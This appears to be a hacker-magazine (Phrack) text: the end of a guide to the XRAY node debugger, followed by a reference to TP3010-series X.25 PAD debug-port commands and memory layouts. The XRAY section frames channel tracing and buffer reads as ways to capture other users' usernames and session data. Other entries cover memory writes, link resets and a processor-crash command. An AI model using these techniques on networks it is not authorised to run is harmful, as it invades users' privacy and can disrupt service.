    0002  0001  0030  RANDOMUSER
    0003  0000  0000  XRAY
    0004  0002  00FF  NOD

BG  Display and/or modify Bad Guy List <node number> <R/I>

    This command when entered without any parameters displays the
    "bad guy" list.  When used with a node number and 'R' it will remove
    that node from the list, and 'I' will included.  The 'R' and 'I'
    features are privileged commands and usage is noted in audit trails.

    >BG

    2000 701 1012

    >BG 2022 I

    2022 2000 701 1012

HS  Display host information



ND  Display node descriptor

    This command displays information about the node and its network
    links.

NS  Display node statistics

    This command displays various statistics about the node including
    time differentiations in packet loops, which can then be used to
    determine the current job load on that particular node.

KD  Display link descriptor <linked node>

    This command displays the values of the link to the node specified.
    This is displayed with columns relating to type of node (TP), speed
    of the link (SP), number of channels on the link (NCHN), etc..

KS  Display link statistics <up to 8 node numbers>

    This command provides a report on various factors on the integrity
    of the link to the given node(s), such as bandwidth usage, packet
    overhead, characters/second transmitted, delays in milliseconds, etc.

BZ  "Zap" link to node <node number>

    This command will cause the link to the specified node to be
    reset.  This command is privileged and is audited.  If the node
    "zapped" is not currently linked a "??" error message will be
    displayed.

TL  Set/Reset trace on link  <node number>
TN  Set/Reset trace on line  <node number>
TM  Display trace events     <B(ackground) / F(oreground)>

    These commands are used to display activity between two active
    nodes.


AC  Display active channels <starting channel> <range of channels>

    This command will display all active channel numbers for the given
    range starting at the given channel number.  Range is in hex.

QC  Query channel status <channel number>

    This command displays information about the given channel,
    including throughput speed, source and output buffer size and
    address location.


TC  Enable/disable data trace on channel <channel number> <0/1>

    This command with no arguments displays the channels
    that are being diagnosed by the trace.  The command with
    a channel number and a '1' will enable data trace for that
    channel, and a '0' will disable trace on that channel.  Enabling
    or disabling trace is a privileged command.

TD  Display channel trace data in hex  <count> <I/O>
TE  Display channel trace data in hex including escapes <count> <I/O>
TA  Display channel trace data as ASCII  <count> <I/O>

    With these commands trace data is displayed for a specified
    time count.  A prefixed 'I' or 'O' will show input or output
    data.  The default is both.

    >ta 5

    I/O   CHN   TIME
    OUT  0040   ECC5  \86\86\0F\00\8A\80h\80\8CS\83valinfo;
    IN   0040   EC87  \00\09\86\86\0D\08\00\00h
    OUT  0040   0F67  \86\86\0E\00\880\8D
    IN   0040   1029  \00,\86\86\09\86\00\00\90\1B\19\80 \06\86\00\00h
                      \15\1B\08J\04\0B\04\0F\04=\0DR\80JS\80\80
                      \8CVALINFO\8D
    OUT  0040   102F  \86\86\14\89p\90\1B\19\86\86\14\89j\18\15\13

**Note:  Although this will allow one to follow the network connections
         on specific channels, password data is filtered out.  As you
         can see from the above example, usernames are not.  Many
         usernames do not have passwords, as you all know.  **

On more recent versions of XRAY a similar command "DR" performs a
similar function to the trace commands, but shows both hex and
ascii of the data in memory registers of the node.

    >DR

    I NOS 0001 A0  *
    I SND 0001 A1  *  !
    I DTA 4920 616D 2061 6E20 6964 696F 7420 6265  *I am an idiot be*
          0002 9D63 6175 7365 2049 206C 6566 7420  *   cause I left *
          6D79 7365 6C66 206C 6F67 6765 6420 696E  *myself logged in*
          2061 6E64 2077 656E 7420 686F 6D65 2E0D  * and went home. *
          6F70 7573 2520 0D0A 0D0A 0D0A 0D0A 0D0A  *opus%           *

BS  Display bufferlet use statistics

    This command shows the current and past usage of the memory
    allocated to data buffering.  This shows total usage, total peak
    usage, and available buffer size.

RB  Read buffer <buffer index>

    This command displays the entire contents of the given buffer.
    This is a privileged command and its use is not primarily for user
    circuits.  Primarily.

    >RB 69

    50 61 72 74 79 20 6F 6E 20 64 75 64 65 21 21 21

WB  Write buffer <buffer index>

    This command writes up to seven bytes into the specified buffer.
    The buffer must greater than 4.  This is also a privileged command.

CD  Set/reset CRYPTO auto display mode <Y/N>
CL  Display CRYPTO log <number of minutes>
CM  Display CRYPTO messages by type
SM  Enable/Disable CRYPTO messages by type

    CRYPTO messages are informational messages about the activity of
    the node.  Up to 256 such entries are stored in a circular buffer
    to record this activity.  You can turn on automatic reporting
    of these messages with the CD command prefixed with a 'Y' for
    on and 'N' for off.  Certain message types that become bothersome
    can be disabled with the SM command and the message type.

DB  Begin delay measurement
DD  Display delay measurement statistics
DE  Terminate delay measurement
DL  Begin data loopback circuit

    These commands are used to build circuits for testing the speed and
    integrity of data flow between two nodes.  The DL command is
    super privileged and only one such circuit can be built on
    a node at a given time.  The data traffic generated by the DL is for
    diagnostic use only and can be monitored by viewing node and link
    statistics.

PM  Measure performance on a channel <channel number>

    This command measures the performance of a given channel by
    inserting a timing sequence into the packet stream.  Once it has
    reached the given channel it is returned and a value corresponding
    to the total time elapsed in milliseconds is displayed.  If the
    channel is not active, or no response is returned in 8 seconds the
    message "BAD CHANNEL OR TIMEOUT" is displayed.

LE  Set local echo mode
RE  Set remote echo mode

    One would use the set local echo command if the XRAY terminal
    is not echoing commands typed by the user.  By default, XRAY does
    not echo output.


SUMMARY

    XRAY is pretty confusing.  Be careful with what you are doing
    since you are essentially prodding around in the memory of the
    node.  Think of it in terms of using a utility to poke and prod
    the memory of your own computer.  Think of how disastrous a
    command written to the wrong portion of memory can be.  Don't
    do anything stupid, or you might bring down a whole network,
    or at minimum lose your access.
                         ==Phrack Magazine==

             Volume Four, Issue Forty-Two, File 8 of 14

             USEFUL COMMANDS FOR THE TP3010 DEBUG PORT

                             BY G. TENET


    ALL OF THE COMMANDS LISTED BELOW, INDICATE A LENGTH IN ALL THE READ
COMMANDS. THE LENGTH OF THE READ COMMANDS MAY VARY DUE TO
CONFIGURATION OPTIONS AND SOFTWARE VERSION.

1)  L7FE,L,A,R200

    THIS COMMAND STRING WILL LOAD '7FE' INTO THE MEMORY POINTER
REGISTER THEN LOAD THE CONTENT OF '7FE' AND '7FF' INTO THE MEMORY
POINTER REGISTER. THE 'A' THEN INCREMENTS THE CONTENTS OF THE MEMORY
POINTER REGISTER.  THE 'R200' COMMAND THEN READS 200 BYTES BEGINNING
AT THE LOCATION SPECIFIED BY THE MEMORY POINTER REGISTER.
    THIS AREA IS USED FOR STORING THE LOADED CONFIGURATION. DUE TO THE
VARIABLE NATURE OF THE CONFIGURATION RECORDS, THE READ COMMAND MAY HAVE
TO BE MODIFIED DEPENDANT ON THE NUMBER OF LINES DEFINED, THE TYPE OF LINES
DEFINED (X780,3270) AND THE TYPE OF SOFTWARE LOADED (4.2X OR 5.0X).


2)  LC4,R3,LCC,R3  (4.2X SOFTWARE)
    L124,R3,L131,R3  (5.0X SOFTWARE)

    THIS COMMAND STRING WILL DISPLAY THE BUFFER MANAGER CONTROL BLOCK AREA
WHICH HAS BUFFER COUNTS WHICH MAY SUGGEST POSSIBLE PROBLEMS.


3)  L32C,R   (4.2X SOFTWARE)
    L29C,R   (5.0X SOFTWARE)

    THIS COMMAND STRING WILL DISPLAY THE NUMBER OF ACTIVE VC'S IN THE
TP3 AT THAT MOMENT.

    IF THIS COMMAND IS USED VIA THE LOCAL CONSOLE, THE VC COUNT WILL NOT
INCLUDE THE USER CONNECTION BECAUSE THERE WILL BE NO VC ON THE X.25 LINE
FOR THE LOCAL CONSOLE.

4)  L70,R60

    THIS COMMAND STRING WILL DISPLAY THE LCB (LINE CONTROL BLOCK) POINTER
FOR THE CONFIGURED LINES.

    THE ORDER THAT THE LCB POINTERS ARE ENTERED ARE: CONSOLE LCB, X.25 LCB,
LINE 1, LINE 2, LINE 3...LINE27.  ANY ZERO ENTRY IS AN UNCONFIGURED
LINE EACH LINE ENTRY IS TWO BYTES LONG.


5)  L300,L,R20    (4.2X SOFTWARE)
    L270,L,R20    (5.0X SOFTWARE)

    THIS COMMAND STRING WILL DISPLAY THE LCN VECTOR TABLE. THE ENTRIES ARE
FOR EACH ACTIVE LCN BEGINNING WITH LCN 0 THRU THE HIGHEST CONFIGURED
LCN. A 0000 ENTRY FOR AN LCN WILL INDICATE THAT THE LCN IS NOT ACTIVE.
A NON ZERO ENTRY WILL POINT TO THE DCB (DEVICE CONTROL BLOCK) OF THE
ASSOCIATED LINE/DEVICE.

6)  L1F1,L,R20     (4.2X SOFTWARE ONLY)

    THIS COMMAND STRING WILL DISPLAY THE PROTOCOL ID TABLE FOR THE
CONFIGURED/SUPPORTED PROTOCOLS. THE FORMAT OF THE OUTPUT
IS:
          999999999999...
          --  ----
          ! -- !  ----
          ! !  !   !...............POINTER TO THE SERVER TABLE   *****
          ! !  !...................POINTER TO THE PROTOCOL SERVICE ROUTINE
          ! !......................PROTOCOL ID NUMBER
          !                          01 =ITI (RITI AND LITI)
          !                          4B =X780
          !                          47 =NAP 3270
          !                          09 =DEBUG
          !........................NUMBER OF ENTRIES IN THIS TABLE


7)  L(ADDRESS OF THE SERVER TABLE),R20

    THE ADDRESS OF THE SERVER TABLE IS FOUND IN #6 (ABOVE)
  THIS COMMAND WILL DISPLAY THE SERVER TABLE IN THE FORMAT:

         99999999...
         --  ----
         ! -- !................ THIS IS THE ADDRESS OF THE FIRST FREE DCB
         ! !                     IN THE FREE DCB LIST. IF 0000 THEN THERE ARE
         ! !                     NO FREE DCB'S FOR THIS SERVER AND PROTOCOL.
         ! !.....................SERVER NUMBER
         !.......................NUMBER OF ENTRIES IN THIS TABLE


    THE POINTER IN THIS TABLE , IF PRESENT, WILL POINT TO THE NEXT AVAILABLE
DCB.  WITHIN THE DCB, THERE IS A POINTER AT DISPLACEMENT 18 AND 19 WHICH
WILL POINT TO THE NEXT FREE DCB. THE LAST FREE DCB WILL HAVE A
POINTER OF 0000.

    THE FOLLOWING COMMANDS ARE USED WITHIN THE TP3 DEBUG PORT TO
PERFORM THE INDICATED ACTIONS.  ONLY THE TP3325 WILL SUPPORT THE
[# LPU NUMBER] OPTIONS.  THE USE OF THE [# LPU NUMBER] OPTION IS ONLY
REQUIRED IF YOU WISH TO ADDRESS A DIFFERENT LPU NUMBER; EXCEPT FOR THE
'S' COMMAND WITH WHICH THE LPU MUST BE DEFINED.

     A SPACE CHARACTER MAY BE INCLUDED IN THE COMMAND AND THE COMMANDS
MAY BE STACKED (EXAMPLE:  L7FE ,L,A,R5,L#2,L 7FE,L,A,R5,L#3 7FE,L,A,R 5).

    THE TP3325 COMMANDS THAT DO NOT USE THE 'LPU' PARAMETER USE THE
LAST ASSIGNED LPU NUMBER.  (EXAMPLE:  L#27FE,R2,L#17FE,R4)
THE  FIRST LOAD COMMAND ADDRESSES LPU 2 AND THE NEXT LOAD COMMAND ADDRESSES
LPU 1.  THE READ OF TWO BYTES IS READING FROM LPU 2 AND THE READ OF FOUR
BYTES IS READING FROM LPU 1.

                A VALUE
                      INCREMENTS THE MEMORY ADDRESS POINTER.
                      (EXAMPLE:  A5 OR AFFE2 OR A#2EF)

                B VALUE
                      USED TO ENTER OR EXIT BINARY MODE.
                      (EXAMPLE:  B01 OR B00)

                C [# LPU NUMBER] VALUE
                      USED TO WARM OR COLD START A TP3325 LPU
                           (EXAMPLE:  C00 OR C#300)
                                  OR
                      USED TO WARM OR COLD START OTHER TP3.
                           (EXAMPLE:  C01 OR C#201)

                D VALUE
                      USED TO DECREMENT THE MEMORY POINTER.
                      (EXAMPLE:  D18 OR DFFE5 OR D#4IFF)

                E STRING
                      USED TO CHECK FOR A EQUAL COMPARE OF MEMORY DATA.
                      (EXAMPLE:  E00 OR E0F0304 OR E#20000)

                F STRING
                       USED TO FIND THE FIRST OCCURRENCE OF A STRING.
                       (EXAMPLE:  F0F0304 OR F08080202 OR F#308080404)

                G [# LPU NUMBER] VALUE
                      USED  TO  FIND THE ADDRESS OF A CONFIGURATION FILE IN
                      MEMORY.  THE LPU DEFINITION IN THE COMMAND DOES
                      NOT CHANGE THE LPU ASSIGNMENT IN THE DEBUG PORT.
                      (EXAMPLE:  GFE OR G01 OR G#301)

                I [# LPU NUMBER]
                      USED TO OBTAIN A LIST OF THE CONFIGURED LINE TYPES.
                      (EXAMPLE: I OR I#3)

                K [# LPU NUMBER] [14 DIGIT ADDRESS]
                      USED  TO  OBTAIN  THE LCB, ADDRESS TABLE POINTERS AND
                      LINE NUMBER ASSOCIATED WITH THE ADDRESS.
                      (EXAMPLE:  K31102120012301 OR K#2 311021250212)

                N STRING
                      USED TO CHECK FOR AN NON EQUAL COMPARISON.
                      (EXAMPLE:  N0F0304 OR N08080202 OR N#1 0F)

                P [# LPU NUMBER] PORT NUMBER
                      USED TO READ THE CONTENTS OF A SPECIFIC PORT REGISTER.
                      (EXAMPLE:  P45 OR P21 OR P#4 21)

                R VALUE
                      USED TO READ MEMORY DATA. THE QUANTITY IS INDICATED
                      BY THE 'VALUE'.
                      (EXAMPLE:  R18 OR R200)

                S [# LPU NUMBER] LINE NUMBER
                      USED TO OBTAIN DATA SET SIGNALS FOR THE DEFINED LINE
                      NUMBER.
                      (EXAMPLE:  S1 OR S#23 OR S)

                T     (TP3325 ONLY)

                W STRING
                      USED TO WRITE DATA INTO MEMORY.
                      (EXAMPLE:  W0E0304 OR W08080707)

                X [# LPU NUMBER]
                      USED TO DISPLAY THE DIFFERENCE BETWEEN THE STORED
                      CHECKSUM AND A CALCULATED CHECK SUM OF THE
                      OPERATING SOFTWARE.  THE LPU DEFINITION DOES
                      NOT CHANGE THE LPU ASSIGNMENT IN THE DEBUG PORT.
                      (EXAMPLE:  X OR X#2)

                Y     (TP3325 ONLY)
                      RETURNS NCC LOAD ADDRESS FROM EPROM

                Z     (TP3325 ONLY)
                      CRASHES APB AND XPB.  MAY HANG APB IF THE X.25
                      INTERFACE DOES NOT RESET.

                $ PORT A  -- ENABLE AUTOCONNECT
                       M  -- DISABLE AUTOCONNECT
                       B  -- BUSY
                       R  -- RESET
                       C  -- CLEAR

HARDWARE COMMANDS FOR THE TP3000

    'P' COMMAND DISPLAYS THE STATUS OF A SPECIFIED PERIPHERAL INTERFACE
DEVICE FOR THE CPU. FOLLOWING IS A LIST OF SOME OF THE MORE USEFUL ADDRESSES
WHICH CAN BE BENEFICIAL IF TRYING TO RESEARCH A PROBLEM.
THIS COMMAND IS A READ TO THE SPECIFIED DEVICE.  DEPENDANT ON THE DEVICE
BEING READ (THE ADDRESS), THE TP MAY CRASH.

      COMMAND                               INTERPRETATION
      =======                               ==============

 TP3010
 ------
       P45                        READ CONSOLE READ REGISTER
                                    (BIT 2 THRU 6 SHOW THE POSITION OF
                                     THE FRONT PANEL ROTARY SWITCH)
                                    BIT 0 = NOT TIMEOUT STATUS (SEE P47)
                                    BIT 1 = NOT PBRST STATE (SEE P47)
                                    BIT 2 = NOT RESTART
                                    BIT 3 = NOT MEMORY SAVE
                                    BIT 4 = NOT TAPE LOAD
                                    BIT 5 = NOT PROGRAM SAVE
                                    BIT 6 = NOT DIAGNOSTICS
                                    BIT 7 = NOT SYSTEM GOOD
                                  IF BIT 6 THRU BIT 2 ARE ALL SET (EQUAL TO 1)
                                    THEN THE FRONT PANEL SWITCH IS IN
                                    THE X.25 LOAD POSITION.
       P47                        THIS COMMAND WILL CAUSE THE FRONT PANEL
                                     ALARM TO SOUND.

       P4D,P4D,P4D,P4D,P4D,P4D,P4D THE LAST RESPONSE WILL PROVIDE THE
                                     DOWN LINE LOAD EPROM REV. LEVEL
                                     FOR THE TP3010.
                                     EXAMPLE  43 = 'C' LEVEL
 TP3005
 ------
       P23                            BIT 1 = 0  CONFIG MODE
                                              1  RUN MODE

        4.2X        5.XX                        COMMENTS
       ======      ======        ===========================================

         70          70           LCB VECTOR TABLE

                                  2 BYTES FOR EACH LINE IN THE TP. IF LINE IS
                                  NOT DEFINED , THEN ENTRY IS 0000. IF LINE
                                  IS DEFINED, THEN ADDRESS POINTS TO THE
                                  LCB (LINE CONTROL BLOCK)

         C0          120          BM CONTROL BLOCK
         C4          124          # CONTROL BUFFERS INITIALIZED
         C5          125          # CONTROL BUFFERS FREE
         C6          126          LOWEST # CONTROL BUFFERS (00 IS NONE LEFT)
                     12B          POINTER TO THE CONTROL BUFFERS
         CC          131          # BLOCK BUFFERS INITIALIZED
         CD          132          # BLOCK BUFFERS FREE
         CE          133          LOWEST # BLOCK BUFFERS REACHED (00 IS NONE
                                     LEFT)
                     138          POINTER TO BLOCK BUFFERS
         1F1                      POINTER TO PROTOCOL ID TABLE

         270         1F0          X.25 LCB
         27E         27E             # FRAMES DISCARDED
         27F         27F             # CRC ERRORS
         280         280             # REJECTS SENT
         281         281             # REJECTS RECEIVED
         282         282             # T1 TIME OUTS
         283         283             # COMMAND REJECTS SENT
         284         284             # COMMAND REJECTS RECEIVED
         285         285             # DISCONNECTS SENT
         286         286             # DISCONNECTS RECEIVED
         287         287             # SET MODE SENT
         288         288             # SET MODE RECEIVED
         289         289             # FRAME OVERFLOW RECEIVED
         28A         28A             # I FRAMES SENT
         28B         28B             # I FRAMES RECEIVED
         2B0         230               DMA LCB

         300         270               LCN VECTOR TABLE

                     29B               MAX. # LCN'S
         32C         29C               # OF ACTIVE LCN'S

         7FE         7FE               POINTER TO THE END OF THE OPERATING
                                       SYSTEM. THE NEXT BYTE IS THE BEGINNING
                                       CONFIGURATION TABLES.

        159           E9               TIME OF DAY CLOCK
        159           E9                 1/10 SECONDS
        15A           EA                 SECONDS
        15B           EB                 MIN.
        15C           EC                 HOURS
        15D           ED                 DAYS
        15E           EE                 DAYS

       DCB + 3        XX               PACKET REC. STATUS BYTE#1
                                         00 = READY
                                         01 = DTE WAITING
                                         02 = DCE WAITING
                                         04 = DATA TRANSFER
                                         08 = DTE CLEAR REQUEST SENT
                                         10 = DCE CLEAR INDICATION
                                         20 = DTE RESTART REQUEST
                                         40 = DTE RESET REQUEST
                                         80 = DCE RESET INDICATION
       DCB +18        XX               POINTER TO NEXT FREE DCB
                                         VALID ONLY IF THIS IS A FREE DCB

  ITI SPECIFIC LCB INFORMATION

                    LCB+27        PHYSICAL STATUS
                                  X'00' LINE DOWN/INACTIVE
                                  X'01' LINE HAS BEEN INACTIVATED
                                  X'02' LINE IS 'BUSY OUT'
                                  X'04' LINE IS BEING ACTIVATED
                                  X'08' LINE IS ACTIVE
                                  X'10' LINE IS BEING INACTIVATED

                    LCB+28        TDT2 COMMAND BYTE
                                  BIT 0 = 1  BUSY LINE
                                  BIT 1 = 1  CLEAR LINE
                                  BIT 2 = 1  RESET LINE
                                  BIT 3 - 7 NOT USED

                    LCB+5C        # BUFFERS ALLOCATED TO THIS LINE
                    LCB+5D        DRIVER ERROR COUNTER
                    LCB+5E        NO BUFFER ERROR COUNTER
                    LCB+5F        FLOW CONTROL ERROR COUNTER
                    LCB+60        PARITY ERROR COUNTER
                    LCB+61        OVER-RUN ERROR COUNTER
                    LCB+62        FRAMING ERROR COUNTER
                    LCB+74        BREAK TIMER
                    LCB+75        RING-OUT TIMER
                    LCB+76        RING-OUT COUNTER

  DSP 3270 LCB SPECIFIC INFORMATION

                    LCB+4F        CURRENT NO. SYNC PAIRS INSERTIONS
                    LCB+50        CURRENT NO. OF ERROR RETRIES
                    LCB+51        CURRENT NO. OF NAK RETRIES
                    LCB+52        CURRENT NO. OF ENQ RETRIES
                    LCB+53        RECEIVE ACK COUNTER
                    LCB+54        TRANSMIT ACK COUNTER
                    LCB+55        CTS  DROP-ERROR COUNTER
                    LCB+56        DCD  DROP-ERROR COUNTER
                    LCB+5A        CURRENT NO. WACK'S


  X780 LCB SPECIFIC INFORMATION

                    LCB+4F        CURRENT NO. OF SYNC PAIR INSERTIONS
                    LCB+50        CURRENT NO. OF ERROR RETRIES
                    LCB+51        CURRENT NO. OF NACK RETRIES
                    LCB+52        CURRENT NO. OF ENQ RETRIES
                    LCB+53        RECEIVE ACK COUNTER
                    LCB+54        TRANSMIT ACK COUNTER
                    LCB+55        CTS  DROP-ERROR COUNTER
                    LCB+56        DCD  DROP-ERROR COUNTER


 COMMON DCB INFORMATION

                    DCB+6         BITS 5-7 PACKET SEND SEQ. NO. P(S)
                    DCB+7         BITS 5-7 PACKET REC. SEQ. NO. P(R)
                    DCB+8         LCN #
                    DCB+9         BITS 5-7 PACKET SEQ. NO. LAST CONFIRMED
                    DCB+A         BITS 5-7 PACKET SEQ. NO. LAST SENT TO NET
                    DCB+B         # PACKETS SENT
                    DCB+D         # PACKETS REC.
                    DCB+F         # RESETS SENT OR RECEIVED
                    DCB+14        # BUFFERS IN HOLD QUEUE
                    DCB+15        TIME VC WAS ESTABLISHED (SSMMHHDD)
                    DCB+31        DESTINATION NETWORK ADDRESS



    THE FOLLOWING IS A DESCRIPTION OF THE TP3006 X.25 INTERFACE FROM THE
SIO TO THE REAR PANEL CONNECTORS.

            SIO CHIP                     REAR PANEL CONNECTOR
          +--------------+
          |              |
          |        DTRB  |------------------->- DTR  20
          |        TXDB  |------------------->- TXD   2
          |        RTSA  |------------------->- LDL  13
          |        RTSB  |------------------->- RTS   4
          |        DTRA  |------------------->- LAL  19
          |        DCDA  |---<-----------+--->- CTR  18
          |              |               +---<- RLSD  8
          |        RXCA  |--+
          |        RXCB  |--+-------- ** ----<- RXC  17
          |              |                 +->- TXCE 24
          |              |            ** --+->- RXCE 11
          |        TXCA  |----+
          |        TXCB  |----+------ ** ----<- TXC  15
          |        DCDB  |----------- ** ----<- DSR   6
          |        CTSB  |-------------------<- CTS   5
          |        RXDA  |----+
          |        RXDB  |----+--------------<- RXD   3
          |        CTSA  |-------------------<- RI   22
          |              |
          +--------------+

                         <   INBOUND SIGNAL
                         >   OUT BOUND SIGNAL

    IF DSR AND TXC, THEN USE EXTERNAL CLOCKING.  IF DSR AND NO TXC,
THEN USE INTERNAL CLOCKING DERIVED FROM THE CONFIGURED LINE SPEED
PRODUCED FROM A CTC CHIP).  IF THE CLOCKING IS PRODUCED INTERNALLY,
THEN THE INTERNAL CLOCK IS ALSO PROVIDED ON PINS 11 AND 24
AT THE REAR PANEL.

    FOR THE TP3325, THE NETLINES ALWAYS USE THE EXTERNAL CLOCK SOURCE.
THE HARDWARE WAS CHANGED DURING REFINEMENT OF THE MOD ONE XPB.

    IF THE ATTACHED DEVICE IS PROVIDING CLOCKING AND THE TP3025 IS PROVIDING
CLOCKING, THE TP WILL DETECT THE CLOCKING AND WILL STOP CLOCKING. IN THE
CASE OF THE TP3025 HAVING BEEN RESET AND LOADED, IF A TP3005/3006 IS THEN
CONNECTED TO THE INTERFACE, THERE IS A RACE CONDITION WHERE THE DEVICE THAT
PROVIDES THE CLOCKING IS ARBITRARY.  THE HARDWARE LOGIC REQUIRES A RESET
TO OCCUR FOR THE TP3025 TO CHANGE PRIOR SELECTION OF 1) INTERNAL/EXTERNAL
CLOCKING AND 2) V35/RS232 INTERFACE AFTER A LOAD.

    THE DEBUG PORT "S" COMMAND WILL RETURN ONE HEX BYTE THAT REPRESENTS
THE DATA SET SIGNALS STATUS AT THE SIO CHIP FOR THE DEFINED LINE
(E.G. "S2" WILL RETURN THE DATA SET SIGNALS ON LINE 2).  THE UPPER HALF
OF THE BYTE IS USED TO REPRESENT THE DATA SET SIGNAL STATUS.

                    BIT  7  6  5  4  3  2  1  0
                         |  |  |  |  ==========
                         |  |  |  |   NOT USED
                         |  |  |  |
      DSR AT THE REAR ---+  |  |  +--- RTS AT THE REAR PANEL.
      DTR AT THE REAR  -----+  +------ CTS AT THE REAR PANEL.

     THE FOLLOWING IS A DESCRIPTION OF THE DEVICE INTERFACE FOR THE
SIO TO THE REAR PANEL.

               SIO CHIP                         REAR PANEL INTERFACE
          +--------------+
          |              |
          |          RXD | ------------------------<  2  TD
          |          TXD | ------------------------>  3  RD
          |          DCD | -<-----------+----------<  4  RTS
          |              |              +---------->  5  CTS
          |          DTR | ------------------------>  6  DSR
          |          RTS | ------------------------>  8  DCD
          |          RXC | -<--------- ** ---------< 11
          |              |  PIO DSR -- ** ---------< 20  DTR
          |              |          -- ** ---------> 15  TC
          |              |          -- **  --------> 17  RC
          |          TXC | -<--------- ** ---------< 24  TC
          |          CTS | -<----------------------< 18
          |              |
          |              |    PIO -----------------< 25
          |              |    PIO -----------------> 22
          |              |
          +--------------+

    WITH DTR TRUE ( PIN 20), RXC (PIN 11) IS CHECKED FOR AN INBOUND CLOCK
SIGNAL.  IF THERE IS A CLOCK SIGNAL, THEN THE SIO IS CLOCKED EXTERNALLY
FROM PIN 11 AND 24.  IF THERE IS NO CLOCK ON PIN 11 THEN AN INTERNAL CLOCK
SOURCE IS GATED TO THE SIO AND TO PIN 15 AND 17 ON THE REAR PANEL INTERFACE.

     THE OUTPUT OF THE DEBUG PORT 'S' COMMAND DISPLAYS ONE HEX BYTE THAT
IS A COMPOSITE OF THE DATA SET SIGNALS FROM THE PIO AND SIO CHIPS.  THE
OUTPUT BIT DEFINITIONS ARE THE SAME AS THE X.25 LINE BUT A NOTE NEEDS
TO MADE THAT THE X.25 IS A DTE INTERFACE AND THE DEVICE LINES ARE A
DCE INTERFACE.  THE UTILIZATION OF THE INBOUND RTS/CTS MAY NOT BE
REQUIRED FOR THE TP TO MAINTAIN THE INTERFACE.

    PINS 22 AND 25 ARE PAD DEPENDANT SO THEY MAY BE USED FOR
DIFFERENT FUNCTIONS THAN THOSE EXPECTED.

                   ALL NUMERIC VALUES ARE IN HEX.
                   COMMAND STRINGS CAN BE USED WHILE IN THE DEBUG PORT.

             ==============================================================<
             |    XCB DIRECTORY TABLE   (two bytes per entry)               >
             |  DEBUG |LOGGER| X.25 #0 | X.25 #1 | X.25 #2 | X.25 #3|.......
     L70,R24 |   DCB  |  DCB |   XCB   |   XCB   |   XCB   |  XCB   |        >
             |===============================================================>
                 |        |        |       |            |        |
               XCB#0    XCB#1  | XCB#2   XCB#3     |  XCB#4    XCB#5
                               |   |       |       |    |        |
        +->>---------------->>-+   |       |    +>>+    |        |
        |                          |       |    |       |        |
        |    +<<----------------<<-+     L76,R2 |       |      L7A,R2
        |    |                                  |       |
        |    |  L74,L,R80                       | +<<---+ L78,L,R80
        |    |                                  | |
        |    +------------->>-------------->    | +--------->>------------->
        |    |  XCB        >>              >    | | XCB     >>             >
        |    +------------->>-------------->    | +--------->>------------->
        |                       | XCB+2D        |                 | XCB+2D
        |                       |            +>>+                 |
        |    +-<<---------------+            |   +-<<-------------+
        |    |                               |   |
        |    | L(XCB+2D),L,R((MAX.LCN*3)+3)  |   | L(XCB+2D),L,R((MAX.LCN*3)+3)
        |    |                               |   |
        |    +------------------>>-------->  |   +------------------>>-------->
        |    | LCN VECTOR TABLE >> ABCCDD >  |   | LCN VECTOR TABLE >> ABCCDD >
        B    |3 BYTES PER ENTRY >> ====== >  B   |3 BYTES PER ENTRY >> ====== >
        |    +------------------>>-------->  |   +------------------>>-------->
        |                            |       |                            |
        +--CC->>  TRUNK LCNS ----->  |       +--CC->>  CONCENTRATOR LCNS  |
        |         |LCN0 |LCN1 |...   |       |         |LCN0 |LCN1 |...   |
        |                            +--->>--+                            |
        |                                                                 |
        |   THREE BYTE LCN ENTRY ==> AB CC DD                             |
        |                             = == ==                             |
        |                             | |  |                              |
        |              XCB NUMBER ----+ |  |                              |
        |              LCN NUMBER ------+  +---- LCN TIMER                |
        |                                                                 |
        |                                                                 |
        +-<<-----------------------------------------------------<<-------+

            **  CC IS THE LCN NUMBER IN XCB B. B IN XCB #0 WILL POINT TO
                ==                           =  =
     XCB #4 IN THIS EXAMPLE. CC IN XCB #0 WILL GIVE THE LCN NUMBER USED IN
                             ==
     THE LCN VECTOR TABLES FOR XCB #4.


     1)   XCB OFFSETS             DEFINITION

           XCB + 09           CONTROL DATA SET SIGNAL STATUS
                                    BIT  4 = 1  RTS HIGH
                                         5 = 1  CTS HIGH
                                         6 = 1 DTR HIGH
                                         7 = 1 DSR HIGH
                                    THE S COMMAND RETRIEVES THIS LOC.
           XCB + 0B              POINTER TO LINE CONFIGURATION RECORD.

           XCB + 0E              NUMBER OF FRAMES DISCARDED.
           XCB + 0F              NUMBER OF CRC ERRORS

           XCB + 10              NUMBER OF REJECTS SENT
           XCB + 11              NUMBER OF REJECTS RECEIVED

           XCB + 12              NUMBER OF T1 TIMEOUT

           XCB + 13              NUMBER OF COMMAND REJECTS SENT
           XCB + 14              NUMBER OF COMMAND REJECTS RECEIVED

           XCB + 15              NUMBER OF DISCONNECTS SENT
           XCB + 16              NUMBER OF DISCONNECTS RECEIVED

           XCB + 17              NUMBER OF SET MODE SENT
           XCB + 18              NUMBER OF SET MODE RECEIVED

           XCB + 19              NUMBER OF FRAME OVERFLOW

           XCB + 1A              NUMBER OF I FRAMES SENT
           XCB + 1C              NUMBER OF I FRAMES RECEIVED

           XCB + 24              FLAG BYTE
                                  BIT 0 = 1   DCE-TO-DTE FLOW INIT
                                      1 = 1   DTE-TO-DCE FLOW INIT
                                      2 = 1   LINK RESET (DISC. OR SETMODE SENT
                                      3 = 1   DCE BUSY ( RNR SENT)
                                      4 = 1   IN TIMER RECOVERY
                                      5 = 1   SENT INTERNAL RESET. LAP RE-INIT.
                                      6 = 1   SET POLL BIT IN NEXT FRAME.

           XCB + 27              LINE STATUS
                                 BIT 0 = 1  NOT ACTIVE
                                     1 = 1  DEACTIVATED
                                     2 = 1  BUSY-OUT
                                     3 = 1  ACTIVATING
                                     4 = 1  ACTIVE
                                     5 = 1  DEACTIVATING

           XCB + 2B              MAX. LCN PERMITTED
           XCB + 2C              CURRENT NUMBER OF LCN IN USE
           XCB + 2D              POINTER TO THE LCN VECTOR TABLE

           XCB + 47              'DISABLE/ ENABLE/ CLEAR COMMAND.
                                     NOT OPERATIONAL AT VERSION 1.01.
                                   01 - BUSY
                                   02 - CLEAR BUSY
                                   04 - RESET LINE

     2)   LCN VECTOR TABLE.
            ( XCB + 2D ,L,A (LCN ADDRESS),R3)
                    LCN ADDRESS = (LCN * 3)

           LCN + 0               BITS
                                 0-3 - XCB DIRECTORY NUMBER.
                                 4   - INIT CLEAR TIMER ON
                                 5   - CLEAR INDICATION SENT
                                 6   - CALL REQUEST SENT
                                 7   - LCN ACTIVE
           LCN + 1               LCN NUMBER
